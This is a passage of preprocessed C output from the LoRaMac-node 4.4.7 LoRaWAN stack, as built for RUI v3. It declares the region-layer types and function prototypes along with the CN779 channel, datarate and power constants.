PHY_BEACON_NB_CHANNELS, PHY_BEACON_CHANNEL_OFFSET, PHY_PING_SLOT_CHANNEL_FREQ, PHY_PING_SLOT_CHANNEL_DR, PHY_PING_SLOT_NB_CHANNELS, PHY_SF_FROM_DR, PHY_BW_FROM_DR, }PhyAttribute_t; typedef enum eInitType { INIT_TYPE_DEFAULTS, INIT_TYPE_RESET_TO_DEFAULT_CHANNELS, INIT_TYPE_ACTIVATE_DEFAULT_CHANNELS }InitType_t; typedef enum eChannelsMask { CHANNELS_MASK, CHANNELS_DEFAULT_MASK }ChannelsMask_t; typedef struct sBeaconFormat { uint8_t BeaconSize; uint8_t Rfu1Size; uint8_t Rfu2Size; }BeaconFormat_t; typedef union uPhyParam { uint32_t Value; float fValue; uint16_t* ChannelsMask; ChannelParams_t* Channels; BeaconFormat_t BeaconFormat; UTIL_TIMER_Time_t DutyCycleTimePeriod; }PhyParam_t; typedef struct sGetPhyParams { PhyAttribute_t Attribute; int8_t Datarate; uint8_t UplinkDwellTime; uint8_t DownlinkDwellTime; uint8_t Channel; }GetPhyParams_t; typedef struct sSetBandTxDoneParams { uint8_t Channel; # 458 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 458 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" Joined; UTIL_TIMER_Time_t LastTxDoneTime; UTIL_TIMER_Time_t LastTxAirTime; SysTime_t ElapsedTimeSinceStartUp; }SetBandTxDoneParams_t; typedef struct sInitDefaultsParams { void* NvmGroup1; void* NvmGroup2; InitType_t Type; }InitDefaultsParams_t; typedef union uVerifyParams { uint32_t Frequency; int8_t TxPower; # 508 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 508 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" DutyCycle; struct sDatarateParams { int8_t Datarate; uint8_t DownlinkDwellTime; uint8_t UplinkDwellTime; }DatarateParams; }VerifyParams_t; typedef struct sApplyCFListParams { uint8_t* Payload; uint8_t Size; }ApplyCFListParams_t; typedef struct sChanMaskSetParams { uint16_t* ChannelsMaskIn; ChannelsMask_t ChannelsMaskType; }ChanMaskSetParams_t; typedef struct sRxConfigParams { uint8_t Channel; int8_t Datarate; uint8_t Bandwidth; int8_t DrOffset; uint32_t Frequency; uint32_t WindowTimeout; int32_t WindowOffset; uint8_t DownlinkDwellTime; # 599 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 599 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RxContinuous; LoRaMacRxSlot_t RxSlot; }RxConfigParams_t; typedef struct sTxConfigParams { uint8_t Channel; int8_t Datarate; int8_t TxPower; float MaxEirp; float AntennaGain; uint16_t PktLen; }TxConfigParams_t; typedef struct sLinkAdrReqParams { Version_t Version; uint8_t* Payload; uint8_t PayloadSize; uint8_t UplinkDwellTime; # 661 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 661 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" AdrEnabled; int8_t CurrentDatarate; int8_t CurrentTxPower; uint8_t CurrentNbRep; }LinkAdrReqParams_t; typedef struct sRxParamSetupReqParams { int8_t Datarate; int8_t DrOffset; uint32_t Frequency; }RxParamSetupReqParams_t; typedef struct sNewChannelReqParams { ChannelParams_t* NewChannel; int8_t ChannelId; }NewChannelReqParams_t; typedef struct sTxParamSetupReqParams { uint8_t UplinkDwellTime; uint8_t DownlinkDwellTime; uint8_t MaxEirp; }TxParamSetupReqParams_t; typedef struct sDlChannelReqParams { uint8_t ChannelId; uint32_t Rx1Frequency; }DlChannelReqParams_t; typedef enum eAlternateDrType { ALTERNATE_DR, ALTERNATE_DR_RESTORE }AlternateDrType_t; typedef struct sNextChanParams { UTIL_TIMER_Time_t AggrTimeOff; UTIL_TIMER_Time_t LastAggrTx; int8_t Datarate; # 779 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 779 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" Joined; # 783 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 783 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" DutyCycleEnabled; SysTime_t ElapsedTimeSinceStartUp; # 791 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 791 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" LastTxIsJoinRequest; uint16_t PktLen; }NextChanParams_t; typedef struct sChannelAddParams { ChannelParams_t* NewChannel; uint8_t ChannelId; }ChannelAddParams_t; typedef struct sChannelRemoveParams { uint8_t ChannelId; }ChannelRemoveParams_t; typedef struct sContinuousWaveParams { uint8_t Channel; int8_t Datarate; int8_t TxPower; float MaxEirp; float AntennaGain; uint16_t Timeout; }ContinuousWaveParams_t; typedef struct sRxBeaconSetupParams { uint16_t SymbolTimeout; uint32_t RxTime; uint32_t Frequency; }RxBeaconSetup_t; # 884 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 884 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 884 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionIsActive( LoRaMacRegion_t region ); # 895 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" PhyParam_t RegionGetPhyParam( LoRaMacRegion_t region, GetPhyParams_t* getPhy ); # 904 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionSetBandTxDone( LoRaMacRegion_t region, SetBandTxDoneParams_t* txDone ); # 913 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionInitDefaults( LoRaMacRegion_t region, InitDefaultsParams_t* params ); # 926 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 926 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 926 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionVerify( LoRaMacRegion_t region, VerifyParams_t* verify, PhyAttribute_t phyAttribute ); # 936 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionApplyCFList( LoRaMacRegion_t region, ApplyCFListParams_t* applyCFList ); # 947 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 947 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 947 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionChanMaskSet( LoRaMacRegion_t region, ChanMaskSetParams_t* chanMaskSet ); # 960 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 960 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 960 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionRxConfig( LoRaMacRegion_t region, RxConfigParams_t* rxConfig, int8_t* datarate ); # 1015 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionComputeRxWindowParameters( LoRaMacRegion_t region, int8_t datarate, uint8_t minRxSymbols, uint32_t rxError, RxConfigParams_t *rxConfigParams ); # 1030 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 1030 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 1030 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionTxConfig( LoRaMacRegion_t region, TxConfigParams_t* txConfig, int8_t* txPower, UTIL_TIMER_Time_t* txTimeOnAir ); # 1049 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" uint8_t RegionLinkAdrReq( LoRaMacRegion_t region, LinkAdrReqParams_t* linkAdrReq, int8_t* drOut, int8_t* txPowOut, uint8_t* nbRepOut, uint8_t* nbBytesParsed ); # 1060 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" uint8_t RegionRxParamSetupReq( LoRaMacRegion_t region, RxParamSetupReqParams_t* rxParamSetupReq ); # 1071 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" int8_t RegionNewChannelReq( LoRaMacRegion_t region, NewChannelReqParams_t* newChannelReq ); # 1084 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" int8_t RegionTxParamSetupReq( LoRaMacRegion_t region, TxParamSetupReqParams_t* txParamSetupReq ); # 1095 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" int8_t RegionDlChannelReq( LoRaMacRegion_t region, DlChannelReqParams_t* dlChannelReq ); # 1108 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" int8_t RegionAlternateDr( LoRaMacRegion_t region, int8_t currentDr, AlternateDrType_t type ); # 1124 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" LoRaMacStatus_t RegionNextChannel( LoRaMacRegion_t region, NextChanParams_t* nextChanParams, uint8_t* channel, UTIL_TIMER_Time_t* time, UTIL_TIMER_Time_t* aggregatedTimeOff ); # 1135 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" LoRaMacStatus_t RegionChannelAdd( LoRaMacRegion_t region, ChannelAddParams_t* channelAdd ); # 1146 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 1146 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 3 4 _Bool # 1146 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" RegionChannelsRemove( LoRaMacRegion_t region, ChannelRemoveParams_t* channelRemove ); # 1155 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionSetContinuousWave( LoRaMacRegion_t region, ContinuousWaveParams_t* continuousWave ); # 1168 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" uint8_t RegionApplyDrOffset( LoRaMacRegion_t region, uint8_t downlinkDwellTime, int8_t dr, int8_t drOffset ); # 1177 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" void RegionRxBeaconSetup( LoRaMacRegion_t region, RxBeaconSetup_t* rxBeaconSetup, uint8_t* outDr ); Version_t RegionGetVersion( void ); # 48 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 2 #define REGION_COMMON_DEFAULT_RECEIVE_DELAY1 1000 #define REGION_COMMON_DEFAULT_RECEIVE_DELAY2 ( REGION_COMMON_DEFAULT_RECEIVE_DELAY1 + 1000 ) #define REGION_COMMON_DEFAULT_JOIN_ACCEPT_DELAY1 5000 #define REGION_COMMON_DEFAULT_JOIN_ACCEPT_DELAY2 ( REGION_COMMON_DEFAULT_JOIN_ACCEPT_DELAY1 + 1000 ) #define REGION_COMMON_DEFAULT_ADR_ACK_LIMIT 64 #define REGION_COMMON_DEFAULT_ADR_ACK_DELAY 32 #define REGION_COMMON_DEFAULT_MAX_FCNT_GAP 16384 #define REGION_COMMON_DEFAULT_ACK_TIMEOUT 2000 #define REGION_COMMON_DEFAULT_ACK_TIMEOUT_RND 1000 #define REGION_COMMON_DEFAULT_RX1_DR_OFFSET 0 #define REGION_COMMON_DEFAULT_DOWNLINK_DWELL_TIME 0 #define REGION_COMMON_DEFAULT_PING_SLOT_PERIODICITY 7 typedef struct sRegionCommonLinkAdrParams { uint8_t NbRep; int8_t Datarate; int8_t TxPower; uint8_t ChMaskCtrl; uint16_t ChMask; }RegionCommonLinkAdrParams_t; typedef struct sRegionCommonLinkAdrReqVerifyParams { Version_t Version; uint8_t Status; # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" AdrEnabled; int8_t Datarate; int8_t TxPower; uint8_t NbRep; int8_t CurrentDatarate; int8_t CurrentTxPower; int8_t CurrentNbRep; uint8_t NbChannels; uint16_t* ChannelsMask; int8_t MinDatarate; int8_t MaxDatarate; ChannelParams_t* Channels; int8_t MinTxPower; int8_t MaxTxPower; }RegionCommonLinkAdrReqVerifyParams_t; typedef struct sRegionCommonRxBeaconSetupParams { const uint8_t* Datarates; uint32_t Frequency; uint8_t BeaconSize; uint8_t BeaconDatarate; uint8_t BeaconChannelBW; uint32_t RxTime; uint16_t SymbolTimeout; }RegionCommonRxBeaconSetupParams_t; typedef struct sRegionCommonCountNbOfEnabledChannelsParams { # 244 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 244 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" Joined; uint8_t Datarate; uint16_t* ChannelsMask; ChannelParams_t* Channels; Band_t* Bands; uint16_t MaxNbChannels; uint16_t* JoinChannels; }RegionCommonCountNbOfEnabledChannelsParams_t; typedef struct sRegionCommonIdentifyChannelsParam { UTIL_TIMER_Time_t AggrTimeOff; UTIL_TIMER_Time_t LastAggrTx; # 286 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 286 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" DutyCycleEnabled; uint8_t MaxBands; SysTime_t ElapsedTimeSinceStartUp; # 298 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 298 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" LastTxIsJoinRequest; UTIL_TIMER_Time_t ExpectedTimeOnAir; RegionCommonCountNbOfEnabledChannelsParams_t* CountNbOfEnabledChannelsParam; }RegionCommonIdentifyChannelsParam_t; typedef struct sRegionCommonSetDutyCycleParams { UTIL_TIMER_Time_t DutyCycleTimePeriod; uint8_t MaxBands; Band_t* Bands; }RegionCommonSetDutyCycleParams_t; typedef struct sRegionCommonGetNextLowerTxDrParams { int8_t CurrentDr; int8_t MaxDr; int8_t MinDr; uint8_t NbChannels; uint16_t* ChannelsMask; ChannelParams_t* Channels; }RegionCommonGetNextLowerTxDrParams_t; # 347 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint8_t RegionCommonValueInRange( int8_t value, int8_t min, int8_t max ); # 367 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" # 367 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 367 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" RegionCommonChanVerifyDr( uint8_t nbChannels, uint16_t* channelsMask, int8_t dr, int8_t minDr, int8_t maxDr, ChannelParams_t* channels ); # 382 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" # 382 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 382 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" RegionCommonChanDisable( uint16_t* channelsMask, uint8_t id, uint8_t maxChannels ); # 396 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint8_t RegionCommonCountChannels( uint16_t* channelsMask, uint8_t startIdx, uint8_t stopIdx ); # 408 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" void RegionCommonChanMaskCopy( uint16_t* channelsMaskDest, uint16_t* channelsMaskSrc, uint8_t len ); # 422 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" void RegionCommonSetBandTxDone( Band_t* band, UTIL_TIMER_Time_t lastTxAirTime, # 422 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 422 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" joined, SysTime_t elapsedTimeSinceStartup ); # 444 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" UTIL_TIMER_Time_t RegionCommonUpdateBandTimeOff( # 444 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 444 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" joined, Band_t* bands, uint8_t nbBands, # 445 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 445 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" dutyCycleEnabled, # 446 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 3 4 _Bool # 446 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" lastTxIsJoinRequest, SysTime_t elapsedTimeSinceStartup, UTIL_TIMER_Time_t expectedTimeOnAir ); # 461 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint8_t RegionCommonParseLinkAdrReq( uint8_t* payload, RegionCommonLinkAdrParams_t* parseLinkAdr ); # 477 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint8_t RegionCommonLinkAdrReqVerifyParams( RegionCommonLinkAdrReqVerifyParams_t* verifyParams, int8_t* dr, int8_t* txPow, uint8_t* nbRep ); # 488 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint32_t RegionCommonComputeSymbolTimeLoRa( uint8_t phyDr, uint32_t bandwidthInHz ); # 497 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint32_t RegionCommonComputeSymbolTimeFsk( uint8_t phyDrInKbps ); # 515 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" void RegionCommonComputeRxWindowParameters( uint32_t tSymbolInUs, uint8_t minRxSymbols, uint32_t rxErrorInMs, uint32_t wakeUpTimeInMs, uint32_t* windowTimeoutInSymbols, int32_t* windowOffsetInMs ); # 532 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" int8_t RegionCommonComputeTxPower( int8_t txPowerIndex, float maxEirp, float antennaGain ); void RegionCommonRxBeaconSetup( RegionCommonRxBeaconSetupParams_t* rxBeaconSetupParams ); # 554 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" void RegionCommonCountNbOfEnabledChannels( RegionCommonCountNbOfEnabledChannelsParams_t* countNbOfEnabledChannelsParams, uint8_t* enabledChannels, uint8_t* nbEnabledChannels, uint8_t* nbRestrictedChannels ); # 578 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" LoRaMacStatus_t RegionCommonIdentifyChannels( RegionCommonIdentifyChannelsParam_t* identifyChannelsParam, UTIL_TIMER_Time_t* aggregatedTimeOff, uint8_t* enabledChannels, uint8_t* nbEnabledChannels, uint8_t* nbRestrictedChannels, UTIL_TIMER_Time_t* nextTxDelay ); # 590 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" int8_t RegionCommonGetNextLowerTxDr( RegionCommonGetNextLowerTxDrParams_t *params ); # 601 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" int8_t RegionCommonLimitTxPower( int8_t txPower, int8_t maxBandTxPower ); # 612 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" uint32_t RegionCommonGetBandwidth( uint32_t drIndex, const uint32_t* bandwidths ); typedef uint32_t (*IsSingleChannel_t)(void); typedef uint8_t (*AlternateDr_t)(void); typedef struct SingleChannel_s { IsSingleChannel_t IsSingleChannel; AlternateDr_t AlternateDr; }SingleChannel_t; int32_t US915_SingleChannelRegisterCallback(SingleChannel_t* SingleChannel); int32_t AU915_SingleChannelRegisterCallback(SingleChannel_t* SingleChannel); # 33 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 1 # 38 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" #define __REGION_CN779_H__ # 50 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" #define CN779_MAX_NB_CHANNELS 16 #define CN779_NUMB_DEFAULT_CHANNELS 3 #define CN779_NUMB_CHANNELS_CF_LIST 5 #define CN779_TX_MIN_DATARATE DR_0 #define CN779_TX_MAX_DATARATE DR_7 #define CN779_RX_MIN_DATARATE DR_0 #define CN779_RX_MAX_DATARATE DR_7 #define CN779_DEFAULT_DATARATE DR_0 #define CN779_MIN_RX1_DR_OFFSET 0 #define CN779_MAX_RX1_DR_OFFSET 5 #define CN779_MIN_TX_POWER TX_POWER_5 #define CN779_MAX_TX_POWER TX_POWER_0 #define CN779_DEFAULT_TX_POWER TX_POWER_0 #define CN779_DEFAULT_MAX_EIRP 12.15f #define CN779_DEFAULT_ANTENNA_GAIN 2.15f #define CN779_DUTY_CYCLE_ENABLED 1 #define CN779_MAX_RX_WINDOW 3000 # 142 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" #define CN779_RX_WND_2_FREQ 786000000 #define CN779_RX_WND_2_DR DR_0 #define CN779_DEFAULT_UPLINK_DWELL_TIME 0 #define CN779_BEACON_CHANNEL_FREQ 785000000 #define CN779_PING_SLOT_CHANNEL_FREQ 785000000 #define CN779_BEACON_SIZE 17 #define CN779_RFU1_SIZE 2 #define CN779_RFU2_SIZE 0 #define CN779_BEACON_CHANNEL_DR DR_3 #define CN779_BEACON_CHANNEL_BW 0 #define CN779_PING_SLOT_CHANNEL_DR DR_3 #define CN779_MAX_NB_BANDS 1 #define CN779_BAND0 { 100, CN779_MAX_TX_POWER, 0, 0, 0, 0, 0 } #define CN779_LC1 { 779500000, 0, { ( ( DR_5 << 4 ) | DR_0 ) }, 0 } #define CN779_LC2 { 779700000, 0, { ( ( DR_5 << 4 ) | DR_0 ) }, 0 } #define CN779_LC3 { 779900000, 0, { ( ( DR_5 << 4 ) | DR_0 ) }, 0 } #define CN779_JOIN_CHANNELS ( uint16_t )( LC( 1 ) | LC( 2 ) | LC( 3 ) ) static const uint8_t DataratesCN779[] = { 12, 11, 10, 9, 8, 7, 7, 50 }; static const uint32_t BandwidthsCN779[] = { 125000, 125000, 125000, 125000, 125000, 125000, 250000, 0 }; static const uint8_t MaxPayloadOfDatarateCN779[] = { 51, 51, 51, 115, 242, 242, 242, 242 }; # 252 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" PhyParam_t RegionCN779GetPhyParam( GetPhyParams_t* getPhy ); void RegionCN779SetBandTxDone( SetBandTxDoneParams_t* txDone ); void RegionCN779InitDefaults( InitDefaultsParams_t* params ); # 277 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" # 277 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 3 4 _Bool # 277 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" RegionCN779Verify( VerifyParams_t* verify, PhyAttribute_t phyAttribute ); void RegionCN779ApplyCFList( ApplyCFListParams_t* applyCFList ); # 294 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" # 294 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 3 4 _Bool # 294 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" RegionCN779ChanMaskSet( ChanMaskSetParams_t* chanMaskSet ); # 309 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" void RegionCN779ComputeRxWindowParameters( int8_t datarate, uint8_t minRxSymbols, uint32_t rxError, RxConfigParams_t *rxConfigParams ); # 320 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" # 320 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 3 4 _Bool # 320 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" RegionCN779RxConfig( RxConfigParams_t* rxConfig, int8_t* datarate ); # 333 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" # 333 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 3 4 _Bool # 333 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" RegionCN779TxConfig( TxConfigParams_t* txConfig, int8_t* txPower, UTIL_TIMER_Time_t* txTimeOnAir ); # 342 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" uint8_t RegionCN779LinkAdrReq( LinkAdrReqParams_t* linkAdrReq, int8_t* drOut, int8_t* txPowOut, uint8_t* nbRepOut, uint8_t* nbBytesParsed ); # 351 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" uint8_t RegionCN779RxParamSetupReq( RxParamSetupReqParams_t* rxParamSetupReq ); # 360 